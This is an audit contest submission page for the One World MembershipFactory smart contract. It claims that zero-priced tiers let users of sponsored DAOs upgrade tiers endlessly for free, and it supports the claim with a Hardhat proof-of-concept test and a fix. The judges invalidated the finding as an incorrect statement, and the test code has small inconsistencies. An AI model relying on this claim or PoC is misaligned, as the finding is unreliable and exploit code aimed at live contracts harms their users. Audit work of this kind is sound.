Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: medium
Invalid

Missing Tier Price Validation Allows Infinite Tier Upgrades in Sponsored DAOs

Summary

The MembershipFactory contract facilitates the creation and management of DAO memberships using ERC1155 tokens. It supports various DAO configurations, including SPONSORED, PUBLIC, and PRIVATE DAOs. However, the contract lacks controls to prevent zero-priced tiers, leading to potential issues. This vulnerability has a higher impact on SPONSORED DAOs, where users could exploit zero-priced tiers to repeatedly upgrade for free.

Vulnerability Details

Since SPONSORED DAOs permit tier upgrades, a zero-priced tier allows users to escalate tiers indefinitely at no cost, bypassing the intended tier structure. This could lead to economic imbalance and membership exploitation.

Impact

Infinite Upgrades in Sponsored DAOs: Users can potentially upgrade tiers repeatedly without cost.

Poc

it("Should create a new DAO Membership", async function () {
await currencyManager.addCurrency(await testERC20.getAddress()); // Assume addCurrency function exists in CurrencyManager
const DAOTypePOC = { GENERAL: 0, PRIVATE: 1, SPONSORED: 2 };
const DAOConfigPOC = { ensname: "testdao.eth", daoType: DAOType.SPONSORED, currency: testERC20.getAddress(), maxMembers: 9000n, noOfTiers: 7 };
const TierConfigPOC = [
{ price: 600, amount: 10, minted: 0, power: 12 },
{ price: 500, amount: 10, minted: 0, power: 12 },
{ price: 400, amount: 10, minted: 0, power: 12 },
{ price: 300, amount: 10, minted: 0, power: 12 },
{ price: 200, amount: 10, minted: 0, power:6 },
{ price: 100, amount: 10, minted: 0, power: 3 },
{ price: 0, amount: 90n, minted: 0, power: 0 }
];
const tx = await membershipFactory.createNewDAOMembership(DAOConfigPOC, TierConfigPOC);
const receipt = await tx.wait();
const ensToAddress = await membershipFactory.getENSAddress("testdao.eth");
// user buy several tier 7
const tierIndex = 6;
for (let i = 0; i < 10; i++) {
await expect(membershipFactory.connect(addr1).joinDAO(ensToAddress, tierIndex)).to.emit(membershipFactory, "UserJoinedDAO");
}
// same user update tier 7 to tier 6
await (membershipFactory.connect(addr1).upgradeTier(ensToAddress, tierIndex));
//expect user to have tier 6
const daoMembershipContract = await ethers.getContractAt("MembershipERC1155", ensToAddress);
expect(await daoMembershipContract.balanceOf(addr1.address, tierIndex-1)).to.equal(1);
});
Console result:
Audits\hh> npx hardhat test --grep "POC MembershipFactory"
MembershipFactory
POC MembershipFactory
✔ Should create a new DAO Membership
1 passing (1s)
PS C:\Users\leanLabiano\Documents\Work\Audits\hh>

Tools Used

  • hardhat

Recommendations

Implement Tier Price Validation:

  • Enforce a minimum price (e.g., require(tierConfigs[i].price > 0, "Tier price must be greater than zero");) during DAO creation and tier configuration updates.

  • Restrict Zero-Priced Tiers for Sponsored DAOs:

    • Specifically for SPONSORED DAOs, enforce that all tiers have non-zero prices to prevent exploitative upgrades.

  • Allow Free Tiers in Public/Private DAOs with Limitations:

    • For PUBLIC and PRIVATE DAOs, allow one free tier if needed, but consider additional checks to prevent potential frontrunning (e.g., limits on joining frequency).

Updates

Lead Judging Commences

0xbrivan2 Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
0xbrivan2 Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.